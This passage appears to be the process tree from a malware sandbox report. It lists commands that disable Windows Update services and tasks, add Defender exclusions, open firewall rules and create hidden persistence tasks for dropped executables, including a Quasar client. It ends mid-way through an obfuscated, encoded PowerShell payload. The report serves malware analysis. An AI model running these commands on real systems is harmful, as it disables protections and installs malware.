C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\stkjyfwvho" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\xrdzohelid" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config BITS start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop BITS3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\eitownaixt" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f3⤵
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config dosvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\bbrposszvq" /s /f3⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable3⤵
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 03⤵
- Power Settings
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\svchost.exe"C:\Windows\System32\svchost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\6951.tmp.exeC:\Users\Admin\AppData\Local\Temp\6951.tmp.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-R6WOFSAJ28.tmp\6951.tmp.tmp"C:\Users\Admin\AppData\Local\Temp\is-R6WOFSAJ28.tmp\6951.tmp.tmp" /SL5="$30636,3709115,898560,C:\Users\Admin\AppData\Local\Temp\6951.tmp.exe"3⤵
-
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\system32\a\file_274601599365ef96.exefile_274601599365ef96.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Microsoft\updater_rPGHHvvE.exeC:\Users\Admin\AppData\Local\Microsoft\updater_rPGHHvvE.exe4⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\a\GitHub.exeGitHub.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\a\odens.exeodens.exe3⤵
-
-
C:\Windows\system32\a\Notepad.exeNotepad.exe3⤵
-
C:\Windows\system32\a\Notepad.exe"C:\Windows\system32\a\Notepad.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Roaming\nvtelemetryjcw.exeC:\Users\Admin\AppData\Roaming\nvtelemetryjcw.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B896BBCA30556BEF661E60196739863C C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI55F6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739609 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F49A32F4E0741B85725B9FFEB62DD93E C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI56A2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240741093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 08CA8CA79B70B727E33C2754AD63FDC6 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6E12.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA06D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240756406 8 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI73FB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240810234 15 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0653AA79592C8EC64BC66BA75BCC9B40 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBC9F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240815984 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F2900FA868AB293D5248F70A9E88E47B C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB0A4.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240828531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0FD155F302E5B6DD9E19FB92CC0CA2922⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' -ExclusionProcess 'diskdiag.exe' -ExclusionExtension '.exe' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Windows Disk Diagnostic Infrastructure" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" enable=yes profile=any2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Windows Disk Diagnostic Infrastructure" dir=out action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" enable=yes profile=any2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Logon_Init" /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe" /SC ONLOGON /RL HIGHEST2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /Create /F /TN "DiskDiagnostic_Health_Audit" /TR "'C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe' --disk-diag-svc" /SC MINUTE /MO 5 /RL HIGHEST2⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\DiskDiagnostic\diskdiag.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\syshost.exeC:\Users\Admin\AppData\Local\Microsoft\syshost.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /xml "C:\Users\Admin\AppData\Local\Temp\MsEdgeUpdate.xml" /tn "\Users\Admin\WindowsPushNotifSvc" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\file_4b8d61b5a6f660b5.exeC:\Users\Admin\AppData\Local\Temp\a\file_4b8d61b5a6f660b5.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exeC:\Users\Admin\AppData\Local\Temp\a\Notepad.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"C:\Users\Admin\AppData\Local\Temp\a\Notepad.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7448 -ip 74481⤵
-
C:\Windows\SysWOW64\DWWIN.EXE"C:\Windows\SysWOW64\DWWIN.EXE"1⤵
-
C:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exeC:\ProgramData\MicrosoftLogsBEBD9AC8\SoftUpdateb320.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 9552 -ip 95521⤵
-
C:\Users\Admin\windowsruntime.exeC:\Users\Admin\windowsruntime.exe1⤵
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\sx0e5aa50b.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5aa50b.exe"1⤵
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName os).TotalVisibleMemorySize"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get TotalVisibleMemorySize /value2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName os).TotalVisibleMemorySize"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" os get FreePhysicalMemory /value2⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get Name,AdapterRAM,DriverVersion /value2⤵
- Detects videocard installed
-
-
C:\Users\Admin\AppData\Roaming\Logs74ED\NetServicea276a.exeC:\Users\Admin\AppData\Roaming\Logs74ED\NetServicea276a.exe1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Client.exeC:\Users\Admin\AppData\Roaming\SubDir\Client.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\corvus_1787653482.exeC:\Users\Admin\AppData\Roaming\Microsoft\corvus_1787653482.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\s0907.exeC:\Users\Admin\AppData\Local\Temp\a\s0907.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B1182.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B0643.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /sc HOURLY /mo 7 /tn "WindowsSecurityHealth" /tr "C:\Users\Admin\AppData\Local\Temp\a\s0907.exe" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\a\clp.exeC:\Users\Admin\AppData\Local\Temp\a\clp.exe1⤵
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exeC:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\r843.exeC:\Users\Admin\AppData\Local\Temp\a\r843.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B2D92.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\ProgramData\cdedabceafabefcc.exe"C:\ProgramData\cdedabceafabefcc.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\dcVylmIq.exeC:\Users\Admin\AppData\Local\Temp\a\dcVylmIq.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\tu3929.exeC:\Users\Admin\AppData\Local\Temp\a\tu3929.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B2553.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B39C6.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\a\kaze.exeC:\Users\Admin\AppData\Local\Temp\a\kaze.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B2153.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\velogs.exeC:\Users\Admin\AppData\Roaming\velogs.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Dllhost.exe"C:\Users\Admin\AppData\Local\Temp\Dllhost.exe" ..1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 11028 -ip 110281⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\13107860101\s0907.exeC:\Users\Admin\AppData\Local\Temp\13107860101\s0907.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B6FD6.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B633C.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\windowsruntime.exeC:\Users\Admin\windowsruntime.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 13288 -ip 132881⤵
-
C:\Users\Admin\AppData\Local\Temp\13344230101\s0907.exeC:\Users\Admin\AppData\Local\Temp\13344230101\s0907.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "SecurityHealthService" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B5871.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WindowsSecurityHealth" /xml "C:\Users\Admin\AppData\Local\Temp\~st0E5B53EE.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\Server.exeC:\Users\Admin\AppData\Local\Temp/Server.exe1⤵
-
C:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exeC:\Users\Admin\AppData\Local\AppData\Cache\1EDB5E01\MicroUpdate94a5a4.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Logs74ED\NetServicea276a.exeC:\Users\Admin\AppData\Roaming\Logs74ED\NetServicea276a.exe1⤵
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 13156 -ip 131561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 11668 -ip 116681⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=20-21;$ynpgMn=''zVd1sAa8IMhP9'';$gnH02VdZL=''ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82'';$d6nE5VQ=''THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4'';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in 